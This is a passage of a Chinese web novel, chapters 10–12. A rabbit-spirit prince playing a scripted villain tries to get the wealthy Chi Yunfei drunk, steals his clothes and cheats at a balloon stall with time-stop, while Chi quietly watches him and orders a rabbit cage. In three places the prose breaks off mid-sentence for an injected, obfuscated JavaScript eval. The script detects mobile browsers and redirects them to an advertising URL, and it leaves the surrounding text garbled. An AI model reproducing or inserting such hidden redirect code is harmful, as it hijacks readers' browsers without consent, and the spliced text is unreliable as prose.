迟与非并不在乎周洛辰那些可笑又卑劣的想法,事实上,他不在乎任何人的想法。 他讨厌人类。 人类总是缠满私欲,肮脏又虚伪,包括他自己。 他厌恶透了这个世界。 但这个世界突然蹦出来一只兔子精。 迟与非看着谭欢,越看越觉得有意思,太有意思了。 他扔下周洛辰,摆脱不断围上来想找他搭话的人,上二楼找了个最佳观赏位置,继续观察这只兔子。 谭欢并不知道自己的恶行还有观众,他在系统激动的鼓舞和龙凤胎的嚎哭声里使劲吃三个小孩的食物,等谭大哥和谭大嫂赶过来时,谭欢都快撑死了。 两夫妻抱起自己的孩子,皱眉看向谭欢。 谭大嫂眼中的厌恶已经毫不掩饰,谭大哥眼中也有怒火,他深呼吸几次,压抑着怒火道: “小欢,你也算是长辈了,怎么能一直欺负小孩子?” 谭欢跷起二郎腿,微侧脸斜睨谭大哥,嗤笑道: “大哥,我可没欺负他们,你怎么能冤枉我呢?” 谭欢说话时,系统正不停给谭欢指导:[宿主!头再往左边转一点!笑容再大一点!现在的表情还不够惹人嫌!] 谭欢跟着调整表情和坐姿:[现在呢?现在怎么样?笑的弧度对不对?有没有很气人?] 系统:[很棒!很气人了!宿主!提谭父谭母!在人类世界,偏心的父母就是孩子不和谐的根本!] 谭欢立刻道:“大哥,你要再这么说我,我就告诉爸妈!” 谭大哥见谭欢拿父母当挡箭牌,他想到自家偏心的父母,面色越来越差,他几度张嘴,难听的训斥就在嘴边,到最后也没说出口,只是带着自己的妻子和孩子离开。 龙凤胎缩在自家爸妈怀里哭哭啼啼地告状: “爸爸!小叔叔可吓人了!他的眼睛能变成红色!他说他要吃了我们!” 谭大嫂一边唉声叹气,一边哄自家孩子:“怎么可能呢?一定是他使坏故意吓唬你们的,没有人的眼睛能够变成红色。” 龙凤胎叽叽喳喳说个不停,见父母怎么都不相信,蔫了下来,将头搭在父母的肩膀上,就见谭欢在父母身后对他们露出一个微笑,那笑阴恻恻的,吓得两个孩子颤抖着将头埋入了父母的胸口。 “呜呜呜,小叔叔真的会吃人的!” 谭欢怒刷了一波恶毒男配的人设值,挺着吃撑的肚子,意气风发地站起来,开始在宴会厅里寻找迟与非的身影。 [系统,迟与非呢?] 系统一听来劲了,[宿主,你找迟与非做什么?你是不是有了什么能够刷恨意值的小计谋?还是你想现在就做划花迟与非脸的剧情任务?不行啊!那要等迟与非喝醉!] 谭欢十分坦然:[不是啊,我这不是在假孕期嘛,我需要偷一件迟与非的衣服带回家。] 系统:[……迟与非好像上楼了,他的外套没脱,宿主你好像偷不了啊。] 谭欢想了想,找佣人询问后,挑了一瓶高度数的酒。 [我灌醉他不就好了!要是运气好,还能趁机把划脸的任务做了!我谭欢做事,绝对不会失败两次!] 迟与非站在二楼,看到谭欢拿着酒走上来,转身推门进入一间客房。 他没有关门。 10.漏洞百出 谭欢踮着脚走得小心翼翼,他以为上二楼还要找一找才能发现迟与非,没想到一上去就看见一排紧闭房门中唯一半开的房门,迟与非就坐在里面看手机。 靠近门口,谭欢抱着酒和系统商量。 [系统啊,我该说什么?有没有什么台词给我参考一下?] 系统狂翻那半册书:[没有诶,宿主,这次来找迟与非是你自己要偷衣服的加戏,没有台词能给你参考。] 谭欢将脸贴近门缝,客房内的迟与非撑着下巴玩手机,似乎没注意到门外的谭欢。 谭欢想了想,站直身体,揉了揉脸,挺腰抬头,敲了敲门,打算硬着头皮进去,临场发挥。 他刚敲完门,系统就开始尖叫: [宿主,不要敲门!你是恶毒男配啊!你那么厌恶迟与非,敌对迟与非,怎么可以在面对他时这么礼貌!] 迟与非早就发现了谭欢,听到敲门声顺势抬头,薄唇微张刚要说“进”,谭欢就一脚将门板踢开了。 他踢得太着急太慌乱,门板撞到墙面又弹回去,重重砸到了谭欢的膝盖。 谭欢抖了一下,粉润的唇紧抿成白色,眼眶瞬间红了,显然疼坏了,但硬忍着没出声。 迟与非扫了眼谭欢的膝盖,不动声色地看着他,没说话。 谭欢站在门口,嘴角向下,泪水快落下来了。 系统在谭欢脑海里狂喊:[宿主你千万要忍住啊!可不能在主角受面前哭啊!不要让主角受觉得你在示弱啊!] 谭欢:[TAT好疼……] 谭欢虽然在圣星是个不受待见的王子,可他到底是王子,从小没受过什么身体上的磨难,也算是娇生惯养,受不得疼。 谭欢吸了吸鼻子,咬紧唇仰头看天花板,用力眨了眨眼睛,将眼泪憋回去,这才重新摆出高傲的表情走进去。 只是他这高傲看起来可怜巴巴的,红红的眼尾和印着牙印的唇瓣,像刚被折辱过脆弱又虚张声势的孔雀。 迟与非打量着他,手机在迟与非指尖像小玩具一样转圈,那手机是正常尺寸,但迟与非的手很大,手指修长,显得手机尺寸很小。 谭欢还记得要维持自己的人设,他用力地、自以为气势十足地坐到迟与非对面的沙发上。 皮质沙发被突如其来的大力挤压,发出“扑哧”一声,宛如放屁。 谭欢的气势瞬间散掉,脸颊弥漫绯红,桃花眼慌张地看着迟与非,解释也不是,不解释也不是。 谭欢欲盖弥彰道:“这沙发质量不好。” 迟与非仍旧不说话,只看着他。 那眼神谭欢形容不出来,看得他很不自在。 谭欢将怀里的酒瓶放在两人中间的茶几上,努力维持自己岌岌可危的嚣张。 “喂,迟与非,喝酒吗?” 迟与非斩钉截铁:“不喝。” 谭欢石化了。 他和系统一起在脑海里慌张。 [啊啊啊他说他不喝,怎么办怎么办?] 系统:[啊啊啊,被这么拒绝好丢人好OOC!宿主快维持一下人设啊!] 谭欢轻咳一声,看到迟与非面前有个空酒杯,拿过来就往里倒了满满一杯酒,推到迟与非面前,道: “没听说过一笑泯恩仇吗?我们一酒泯恩仇如何?就当我给你道歉。” 迟与非指尖转动的手机停下,他将手机放到茶几上,清脆的碰撞声让谭欢心脏颤了下,特别紧张。 迟与非明明是主角受,一个受的气势为什么这么强悍?危险感也总挑动着谭欢小动物敏感的神经。 迟与非瞥了眼茶几上孤零零的酒杯:“既然要道歉,只让我自己喝怎么行?” 谭欢一听有戏,“你想怎么做?” 迟与非:“一起喝。” 谭欢:“行!” 迟与非是主角受,后面还会因为今天宴会上被他欺负丢了面子而一直醉酒消愁,想来酒量是不好的,谭欢并不怕他。 他看着茶几上孤零零的酒杯,想去再拿一个,刚站起来又坐下了。 系统:[宿主?] 谭欢:[不行,万一他是想支开我,趁我去拿酒杯的时候跑掉怎么办?] 系统:[是哦!宿主好机智!] 谭欢干脆拿起酒杯,“说好了,我喝了你就得喝。” 迟与非笑而不语。 谭欢将酒杯凑到唇边,迟与非突然出声:“那是我用过的杯子。” 谭欢一愣,脑海里吐槽:[系统,迟与非好龟毛啊!] 系统哗啦哗啦翻书:[额……在书里,迟与非确实不喜欢别人碰他的东西,宿主,要不我们还是下楼拿杯子吧?] 谭欢:[不行不行,他要是跑了,我今晚的假孕反应怎么熬?] 系统:[那……宿主!反正我们是要刷迟与非的恨意值!这不就是个膈应他的好机会吗!] 谭欢一想也是,但他怕迟与非一生气就不喝酒了,还是留有余地。 他把酒杯旋转一圈,指着杯沿说:“迟与非,你看,我转了一圈,这一边你没碰过,我用这里,你用另一边。” 迟与非眸色深了几分,“好啊。” 谭欢真的很笨,他坐在迟与非对面,拿起酒杯对着自己的这边本就是迟与非没碰过的,他转了一圈,反倒转到了迟与非喝过的那边。 但迟与非什么都没说。 他看着谭欢将酒杯凑到唇边,将杯中透明的酒液一饮而尽。 这酒虽度数高,但并不辛辣,谭欢喝得很顺畅。 他喝完立刻重新倒满,将酒杯推到迟与非面前。 迟与非盯着酒杯看了几秒,看得谭欢以为他要反悔了才拿起酒杯,抬眸盯着谭欢,酒杯压向薄唇,缓缓吞咽。 他喝得很慢,不似谭欢牛饮,黑眸一直看着谭欢,看得谭欢心跳有点快,仿佛他正躺在小小的酒杯里,被迟与非一口一口喝掉。 一杯酒饮尽,迟与非放下酒杯。 谭欢立刻倒满,自己喝完再给迟与非倒酒。 几个来回,一瓶酒见底,谭欢眼前的迟与非早已变得模糊不清,好像一直在晃。 系统:[宿主,你别晃了,你晃得我好晕啊。] 谭欢:[我没晃啊,是、是迟与非在晃!] 系统:[那宿主你叫他别晃了!我好晕,我要吐了……] 谭欢:[不许吐!不许在我脑袋里吐!!!] 谭欢扶住沙发扶手,指着迟与非警告:“迟与非,你别晃了!你不许晃!好好的,你……你晃什么!” 迟与非看着谭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079704|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢指歪的手指,身体微微前倾,指尖碰到谭欢的指尖,轻轻摆正。 “是你在晃。” 谭欢盯着自己的指尖,漂亮的眼珠隐隐浮现出透亮的红色,他喝多了,有点控制不住自己的眼睛。 迟与非看到谭欢变红的眼睛,笑了一下,“漏洞百出。” 他收回手,看着谭欢一点点往后倒进沙发,看着他眨了眨眼睛,红眸缓缓闭上,彻底醉晕过去。 谭欢醉倒在沙发上人事不知,系统也早就晕死机了,怀揣着一身秘密的兔子精如此轻易地将自己置身在任务目标面前。 迟与非起身走到谭欢面前,指尖勾住谭欢的帽檐,似要将他的帽子掀开,仔细看看那对兔耳朵。 属于假孕始作俑者的气息靠近,谭欢哪怕醉酒也下意识仰起脑袋,指尖勾住迟与非的指尖,努力将脸贴了上去。 柔嫩热乎的脸颊贴上迟与非的手背,谭欢依恋的轻轻磨蹭,有些紧绷的身体肉眼可见地放松下来。 迟与非居高临下地看着蹭他手背的谭欢,放弃掀开谭欢的帽子,食指和中指伸直,夹住谭欢的脸颊肉捏了一下。 谭欢感到疼了,微微皱眉,转头咬住了迟与非的手指。 柔软湿润的热唇包裹迟与非的手指,迟与非微垂的长睫轻颤一下,立刻往回拽。 竟没拽出来。 谭欢咬得有点用力,刚刚抱着迟与非的手轻蹭的是他,转头咬人的也是他。 迟与非垂眸盯着谭欢看了许久,指尖干脆用力探入谭欢口腔,轻轻勾了下谭欢的舌尖。 口中的异物感让谭欢不满,谭欢用舌尖努力顶出迟与非的指尖,终于松嘴,迟与非的手指上留下一圈淡淡的牙印和湿痕。 陌生的感觉扰乱迟与非的心绪,迟与非将手背在身后,转身离开。 他走出客房,脚步停顿,又走了回来,视线扫过谭欢平坦的小腹。 这只愚蠢的公兔子假孕了,始作俑者似乎是他。 以蠢兔子暂停时间时的所作所为推断,蠢兔子需要他的安抚。 可这和他又有什么关系? 迟与非再次走向门口。 他站在门前,抬手烦躁地扯开扣子,脱下外套,扬手一扔。 价值百万的高定就这么飘飘扬扬地甩到了谭欢身上,盖住了谭欢的脸。 客厅门轻轻关上,室内只留下一只醉酒的兔子。 迟与非打电话将自己的秘书叫过来守着门口。 “守在这里,别让人进去,你也别进去。” 精明能干的秘书点头,站在了门口。 迟与非走出几步又转头丢下一句: “别说是我让你守在这里的。” 迟与非离开宴会厅,冬日的冷风吹在身上,带走身上的暖意,却带不走他心中的躁意。 他叫走司机,自己开车回别墅,进门没停,车轮压入草坪,在别墅巨大的草坪上疯狂漂移转圈,最后歪斜停下。 他大步走进别墅,直奔地下室,主动陷入黑暗,一夜都没有离开。 夜越来越深,明月高悬。 月光下,被压得乱七八糟的草坪上,一圈圈车轮印拼凑出一只竖着两只耳朵的兔子头。 兔子头静静地躺在草地上,像在嘲笑迟与非被搅乱的心绪。 11.定制兔笼 谭欢醒来时已是半夜,室内亮着一盏暖黄的壁灯,色调舒服又惬意。 他微睁双眸,怀里抱着一件布料舒服的外套,呼吸间满是如冰雪般冷淡好闻的气息,身体也暖乎乎的,发情期和假孕期的难受反应没有出现,除了头有点晕外,他这一觉睡得很舒服。 他低头,将脸埋入衣服里蹭了又蹭,大脑缓慢苏醒,动作一僵,猛地坐起,立刻去摸自己的帽子。 帽子有点歪,但仍好好戴在头上。 他又去摸自己的屁股,兔尾巴也好好地藏在裤子里。 谭欢松了口气,太好了,没有露馅。 他还在宴会厅二楼的客房里,桌子上放着空酒杯和空酒瓶。 这时系统也悠悠转醒,在谭欢脑袋里打哈欠。 哈欠没打完,系统反应过来,惊慌尖叫:[啊啊啊!宿主!宿主!你没露馅吧!] 谭欢抱紧怀里的衣服,翘起嘴角,语气轻快:[一个好消息,一个坏消息,你想先听哪个?] 系统紧张:[先……先说坏的?] 谭欢叹气:[坏消息是……迟与非跑啦。] 系统更紧张了:[那好消息是?] 谭欢突然一个兔子蹦跳起来欢呼: “哈哈哈!好消息是我们没有露馅!迟与非还把外套落下啦!我说过的,我谭欢!绝对不会失败两次!” 谭欢得意扬扬地抱着外套打开门,迎面看到一个瘦高的男人站在门口。 谭欢立刻收住脸上的笑,扮演起表情嚣张的恶毒男配。 “你谁?” 一脸精明的瘦高男人礼貌微笑: “谭先生你好,我姓千,叫千万,是迟总的秘书,留在这里帮忙周先生打理宴会厅。” 千万秘书谨记迟与非的交代,没说他是留在这里给谭欢守门的。 谭欢没有怀疑,点点头走了,虽刻意压抑,但脚步仍旧轻快。 千万秘书看着过分漂亮的青年抱着他们老板的外套笑得眉飞色舞,脸上礼貌得体的微笑逐渐变形,向着八卦揶揄上发展,又飞快掩饰,努力下压嘴角。 时间很晚了,谭欢没折腾大学生司机,自己叫车回家,路上和系统交谈: [迟与非和周洛辰的关系还真好,大半夜还留自己的秘书在那里帮忙,我看那里的人都走光了。] 系统很有危机感: [看来主角攻受的感情进度很顺利,宿主!咱们要努力啊!咱们任务都做了好几个了!恨意值还是0%呢!宿主!你想想你的王位啊!] 谭欢有点心虚: [我很努力了啊……下次!下次划花脸的任务!我一定要迟与非气得七窍生烟!直接涨一大半恨意值!] 系统:[宿主!这是你说的!我们拉钩!] 谭欢伸出小指戳了戳自己的脑壳:[你看着吧,我谭欢做事,绝对不会失败三次!] 说做就做,谭欢立刻找自己的狐朋狗友帮忙,派人去打听迟与非哪天会喝醉,他需要在迟与非酩酊大醉那天潜入迟与非家。 按照系统给出的剧情,迟与非被谭欢在周洛辰的生日宴会上当众侮辱后意志消沉,天天喝酒消愁,谭欢应该很容易得到潜入迟与非家的机会才是。 谭欢为此还准备了一个超级大的麻袋,打算在做任务的时候顺便偷一些迟与非的衣服带回来缓解他的假孕反应。 系统看着那个超级大的麻袋,惊掉了它不存在的下巴: [宿主,你这是要把迟与非的衣柜搬空啊!] 谭欢羞涩一笑:“没办法,你知道的,我假孕了嘛。” 之后两天,谭欢派出去的人都没有得到迟与非喝醉的消息。 谭欢新得到的迟与非的外套上的气息已经很淡了,他蔫巴巴地躺在床上,抱着迟与非的外套眼神空洞。 窗前挂着迟与非另外两件外套,那两件外套早就没有迟与非的气息了,被谭欢干洗过挂在那里当战利品。 [系统,迟与非怎么还不借酒浇愁啊?他再不喝醉,我没法去偷衣服,我的发情期和假孕反应就压不住了!]谭欢委屈坏了。 系统这两天快把《爱恨欲之纠缠螺旋》的上半册内容翻烂了,[奇怪啊真奇怪,按照剧情,迟与非应该会持续一阵子喝酒买醉才对啊!到底是哪里出问题了?] 一兔一统抓耳挠腮,怎么都找不到答案。 谭欢觉得他再这样干等下去不行,随着外套上迟与非的气息变淡,他能感觉到身体深处的燥热正在沸腾,他需要做点什么事情分散注意力。 他把迟与非的外套袖子剪下来一只系在脖子上,出门去了最近的夜市。 这个世界的夜市比圣星的热闹许多,谭欢眼花缭乱,在摊贩的叫卖声中站到一处打气球的摊位前。 他交了钱,在老板的介绍里,眼睛亮亮地盯着摆在最上面的奖品。 那是一只超大号的毛绒玩具熊,估计快和谭欢一样大了。 谭欢自信满满地拿起玩具枪,啪啪几枪打出去,气球一个没破。 老板但笑不语,一脸尽在掌握中的表情。 谭欢看看老板,又看看玩具熊,再次交钱。 这次他摆好姿势,一枪射出,气球依旧没破。 老板咧开嘴,笑得见牙不见眼。 然后这个笑容就定格在了老板脸上,热闹的夜市再也听不见一丝声音。 时间暂停,谭欢走到气球墙前,用玩具枪戳破了一个气球,又走回原位。 时间恢复,谭欢指着中间破掉的气球,“我打中了一个。” 老板愣了下,挠了挠头,以为自己刚才看错了,“要打中一百个才能拿到最终大奖哦。” 谭欢举起枪,啪啪啪连续射击,老板紧紧盯着子弹,气球一个没破,他嘴角咧开,刚扬起的笑容僵在脸上。 谭欢故技重施,走过去啪啪啪戳破一排气球。 时间再次恢复,老板的笑容消失。 几个来回后,老板的额头渗出汗水,他开始怀疑人生,他那些玩具枪都是特制的,就算再会玩的人都不可能射中那么多气球!这个人是咋回事啊! 系统在为谭欢欢呼:[宿主加油啊!再来几轮就够100个了!] 谭欢消耗掉最后一点时间暂停的时间,在老板的苦瓜脸里拿下了最终大奖,超大号玩具熊! 可人兔的悲欢并不相通,远在摩天楼办公的迟与非遭受了他人生中少有的耐心考验。 今夜是一次很常规的加班,是一场很常规的会议。 迟与非简短高效地交代完下季度的工作重点,迟迟等不到下属的回复。 迟与非的耐心极其有限,他眉头微皱,视线从文件上移开,就见他的下属纷纷瞪大眼睛看着他,一动不动。 迟与非:“……”刚消停两天,怎么又来了?那只蠢兔子在做什么? 他盯着手表,等秒针开始走动,立刻重新讲了一遍工作重点,这次语速快了一点。 讲完依旧没有得到回复。 迟与非再次看表,秒针又不动了,蠢兔子不知道抽什么疯,间隔这么短又暂停了时间。 迟与非这回长记性了,他干脆盯着手表,秒针一动,立刻飞速讲话,秒针一停他就停。 几轮下来,他配合良好,语速越来越快,终于在停停讲讲中说完了下季度的工作重点。 说完的那一刻,迟与非放下手腕,心情难以言喻地放松,比他签了上亿的合同都畅快。 他缓缓抬头,对上了十几个精英下属迷茫的大眼睛。 十几双大眼睛眨巴眨巴地看着他,一脸纠结。 迟与非:“……放。” 其中一双大眼睛站起来,小心翼翼地询问:“老板,您刚刚说的……是普通话吗?” 为了配合谭欢抽风般的时间暂停,迟与非语速飞快,快得没人听清楚。 迟与非脸上惯常焊死的假笑慢慢消失,他盯着十几双迷茫的大眼睛,平静地说了两个字,吐字缓慢、字正腔圆。 “散会。” 散会后,千万秘书得到了迟与非打出来的工作重点,让他分发给下属。 千万秘书奇怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084267|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“老板,为什么不在会上说?” 迟与非重新露出微笑,疲惫又狰狞,“我今天不想再说话了。” 聪明能干的千万秘书第一次在自家老板面前露出了迟与非不愿再看到的——迷茫的大眼睛。 谭欢抱着超大号玩具熊回家,从乱七八糟的金融新闻里好不容易找到一张迟与非的正脸照片。 他将照片打印出来,贴到玩具熊脸上,摆在床中央,满意地打量了一会儿,一脚踢了过去,将玩具熊的脸踢得凹陷,上面迟与非的脸也凹了进去。 系统:[O0O……宿主,我还以为你要用这个照片熊当假孕期的安抚剂……] 谭欢拿出手机,踩着玩具熊的脸拍照片,“我干嘛拿迟与非的照片当安抚啊,我只是需要他的气息和……”拥抱、爱抚、亲吻,或者更亲密、更激烈的碰触,但谭欢说不出口。 系统追问:[和什么?] 谭欢:“没什么。” 他将刚拍的扁脸熊照片发给迟与非,照例配上一句狠话。 【迟与非!你再接近周洛辰,我就像踩扁这只熊一样踩扁你的脸!】 谭欢发完照片,觉得不够凶狠,又拍了一小段视频发过去。 视频里,青年抬起白皙小腿,脚尖在玩具熊脸上迟与非的照片上碾压,他碾得很用力,粉色的脚趾压得有点泛白,脚背上一根汗毛一个毛孔都看不到,过分纤细好看。 以往谭欢给迟与非发狠话,迟与非从不回复。 他以为今天迟与非还是不会回复,却不想迟与非回了。 【迟与非:你晚上做什么去了?】 谭欢奇怪,迟与非问他这个做什么,但还是回了。 【爸爸我去打气球了!这只熊就是我赢回来的!我告诉你!我枪法可好了,你再靠近周洛辰,我就用枪打爆你的头!】 仍留在办公室的迟与非终于知道谭欢今晚抽什么风了,原来是为了作弊打气球。 一只魔法兔子,能够暂停时间的魔法兔子,有这种逆天的能力,不去作奸犯科,不去拯救世界,他去作弊打气球。 迟与非气笑了。 谭欢炫耀完,觉得自己越来越适应恶毒男配这个人设了,仍觉得不过瘾,还去把玩具熊拎起来拍了张全身照发给迟与非。 【迟与非:你能别张嘴闭嘴都是周洛辰吗?】 【迟与非撤回了一条消息。】 【谭欢:图片。】 【谭欢:你撤回什么了?】 迟与非没有回复。 迟与非叫来了千万秘书。 “明天开始,在公司里所有我会待的地方放上沙漏。” 千万秘书低头应下,谨慎地没再露出他迷茫的大眼睛,顺便将一件跟工作无关的事汇报给迟与非。 “老板,这几天谭家小少爷一直在派人打听您的事。” 迟与非:“打听我什么?” 千万秘书:“打听您有没有喝醉。” 迟与非指尖轻点桌面:“他没再派人来面试管家?” 千万秘书摇头:“没有了。” 谭欢若是在此,一定会和系统齐齐尖叫。 迟与非早就知道那些去面试管家的人都是谭欢派过去的,他知道谭欢想搞小动作。 谭欢那些狐朋狗友就没一个靠谱的,他的系统也没有告诉他迟与非和周洛辰不一样,迟与非讨厌人类,他家从不需要管家,只有定期打扫的钟点工,所以谭欢派过去莫名其妙要面试迟与非家管家的人是那么可疑,那么显眼。 显眼到迟与非想装瞎都不行。 迟与非轻点桌面的动作停下,再次交代秘书: “去定制一个兔笼。” “是。”作为一个名叫千万,年薪也是千万的精英秘书,不过问老板原因是他最基础的优点。 迟与非淡淡补充:“要能关住一米七五大兔子的笼子,再加装十把锁。” “啊?”千万秘书还是一不小心露出了他迷茫的大眼睛。 一米七五的大兔子?哪有一米七五的大兔子啊! 12.可以贴贴吗? 谭欢的小视频和狠话没有让迟与非加一点恨意值,这让谭欢很受打击。加上迟与非的外套已经彻底没有他的气息了,谭欢的发情期潮热和假孕反应压不住了,总是在每天深夜折磨他,让他夜夜梦到迟与非。 梦里的迟与非会大力拥抱他、抚摸他,揉他的兔耳朵和兔尾巴,这不仅没有缓解谭欢体内燃烧的热,反而让他醒来时更加难受。 比起难受,谭欢心理上的羞耻感更甚。 这导致他又开始泡冰块浴了,以防感冒,他泡得比较克制,泡完就去夜市打气球分散注意力。 谭欢利用时间暂停作弊,连拿了三只超大号毛绒玩具熊。 迟与非也因所过之处都摆上了沙漏,即时发现时间暂停,顺利规避了谭欢的抽风。 一人一兔都对这几天的生活比较满意,直到谭欢再一次去夜市,打气球摊的老板一见到他就面色大变,飞速收拾好东西,蹬上三轮车跑了。 谭欢:“……没关系,夜市里打气球的摊位又不止他一家!” 谭欢转头,视线扫过另一个摊位。 他并没有在那家玩过,但那个老板一见谭欢看过来也是面色大变,用和上一个老板不相上下的速度收拾好东西,飞快跑了。 之后的几分钟,谭欢看谁谁跑,正是晚上最热闹的时候,这处总是喧闹的夜市却冷清了许多。 “好嘛,不让玩就不玩喽。”谭欢有点泄气,他重新将目标定在冰激凌摊位上。 幸好冰激凌摊位的老板还是很欢迎他的。 今晚,谭欢的时间暂停没有了用武之地,他无精打采地坐在夜市花坛边吃冰激凌思考人生。 今晚,工作狂迟与非仍旧在加班。 一样的会议室,一样的会议,不一样的是迟与非成竹在胸,盯着流动的沙漏淡定讲话。 “我现在部署之后的工作计划,第一。” 突然,沙漏停止流动。 迟与非立刻闭嘴,闲适地翻起文件,等待时间暂停结束,绝不浪费一点口舌。 呵,蠢兔子又开始打劫气球摊了。 迟与非不说话,会议室格外安静,所有人都盯着迟与非,盯着他们讲话到一半突然开始翻文件的老板。 迟与非很有经验,蠢兔子总是断断续续使用时间暂停,短则几秒,多则几分钟,沙漏很快会恢复流动。 他翻完一份文件,拿起下一份,甚至还有空在文件上批注。 批完一份,两份,三份……十份,沙漏一直没有恢复流动。 迟与非微微皱眉,蠢兔子的时间暂停加起来大概有十分钟,这次暂停的时间已经超过了十分钟,并且没有断断续续。 怎么回事?蠢兔子又在搞什么鬼? 这时,一道小心翼翼的声音响起: “那个……老板……您怎么不继续说啦?” 迟与非猛地抬头,对上了十几双充满迷茫、困惑、谨慎、恭敬等复杂情绪的大眼睛。 他的下属们微微前倾身体,不知盯了他多久。 这个场景迟与非十分眼熟,他前几天刚见过。 沙漏没有恢复流动,但时间却没有被暂停。 迟与非立刻拿起沙漏端详,发现这沙漏设计不合理,下半部密封不严,沙漏透气,里面的沙子在冬日潮湿的空气里黏连结团,堵住了中间小小的漏口。 谭欢连续几天都在固定的时候暂停时间,偏偏他今天没有,偏偏沙漏在今天出问题了。 迟与非缓缓地、平静地露出一抹微笑,笑得像极寒天气下挤在悬崖缝隙里的漆黑小屋,阴郁且鬼气森森。 他推翻之前的工作计划,临时起意: “第一,建一个新厂,招聘最优秀的设计师。” 下属一脸恍然大悟:“是AI电子玩具厂吗?这是最近的风口,不愧是老板,如此高瞻远瞩……” 迟与非看向说话的下属,笑容变大: “不,建沙漏厂,只生产沙漏。” 一群年薪都是天文数字的精英下属精密的大脑开始死机。 这年头,有建玩具厂的,有建玻璃厂的,还没听说过只生产沙漏的厂,这不大材小用? 总觉得他们年纪轻轻就登上富豪榜的优秀老板最近越来越癫了,但他们不敢说。 散会后,迟与非叫来千万秘书。 “兔笼定制好了吗?” 千万秘书:“今晚就能完成。” 迟与非:“明天叫人把兔笼安装到我的别墅,还有,谭欢再派人来打听,就告诉他我喝醉了。” 千万秘密抿紧嘴角,绷住表情,再露出迷茫的大眼睛就是他不称职了,“明白。” 没有气球可以打的谭欢做了一个噩梦,梦里他变得小小的,掉进了迟与非的酒杯里,被迟与非喝进了肚子。 他在潮热中惊醒,终于得到了一个好消息。 迟与非喝醉了!并且提前下班回别墅了,他的机会来了! 当晚,谭欢叫来大学生司机,打听好迟与非家别墅的位置,拎着大麻袋,揣着假刀子,高高兴兴地蹦跶下楼。 最近跟他合作愉快、勤勤又恳恳的大学生司机已经等在楼下了,谭欢一出现,大学生司机立刻热情地下车迎了上来。 “老板,老奴来啦!” “今晚干得好发奖金!” 两个人一同开口,然后一同顿住。 夜色里,两张头裹黑头巾、脸戴大墨镜的脸面面相觑,他们都穿着一样的黑色紧身衣,紧身衣外套着一条同样黑乎乎的大裤衩。 谭欢:“你穿成这样干什么!” 大学生司机:“特务不都是这么穿嘛!老板你大晚上叫我秘密行动,我当然要配合老板啦!再说老板,你也穿成这样啊!” 大学生司机的话还真说到谭欢心坎里了,他就是看电影里的特务都这么穿才特意买了一身紧身衣,至于外穿的大裤衩……那是为了挡住他前后两个鼓包的,他也是穿上紧身衣后才发现这衣服实在太贴身了。 大学生看着谭欢的大裤衩,一脸我懂的表情。 谭欢不想耽误时间,没再和大学生司机瞎扯,上车直奔迟与非的别墅。 他今晚任务繁重,系统说了,剧情里,迟与非喝醉后是被谭欢派去的人不小心搞出来的大动静惊醒才发现来人的,所以谭欢打算先小心翼翼的偷衣服,偷完衣服再拿假刀作势去划迟与非的脸,故意搞出一些大动静让迟与非发现他,训斥他一顿后又碍于谭家,只是将他扔了出去,没有真拿他怎么样,但却因此更加厌恶他,恨他,恨意值嗖嗖涨。 很快车子停在了迟与非家的别墅外面,谭欢这次真的得爬墙了。 他找了一处黑乎乎的角落,顺利翻墙进去,自以为无人发现,直奔别墅一楼的窗户。 别墅一片漆黑,迟与非现在应该倒在卧室里醉的不省人事,一切都很顺利,谭欢觉得今晚肯定不会出错了。 别墅二楼迟与非的卧室里,迟与非站在窗边,手机屏幕里正是谭欢兔兔祟祟的身影,这栋别墅装满了微型监控器,迟与非早就将谭欢的一切行踪收入眼底。 等谭欢翻窗进去,摸上二楼,迟与非放下手机,轻轻推倒一瓶酒,酒味在卧室里弥漫,他上床躺下,守株待兔。 卧室角落放着一个巨大座钟,指针摆动的声音格外响亮,保证迟与非能依靠这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088231|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音瞬间发现异常。 谭欢找了一会儿才摸到迟与非的卧室,他闻到卧室里浓重的酒味,更安心了。 他先在外侧的衣帽间里偷衣服,把大麻袋装满后才靠近床边。 系统很紧张:[宿主,要开始了吗?] 谭欢一手撑着床铺,低头轻嗅迟与非的气息。 身体深处一直被冰块浴粗暴压制的潮热涌动,肚子里的鼓胀感平缓,谭欢轻轻喟叹,四肢百骸都舒服许多。 他的视线落到迟与非穿的衬衫上。 他没察觉一个睡觉的人穿戴整齐是多么奇怪。 系统有点着急,[宿主,还不做任务吗?] 谭欢犹豫:[系统,我想偷他身上穿的衣服……] 衣帽间里的衣服都是洗过的,属于迟与非的气息特别淡,就算偷了很多,用处也不会很大。 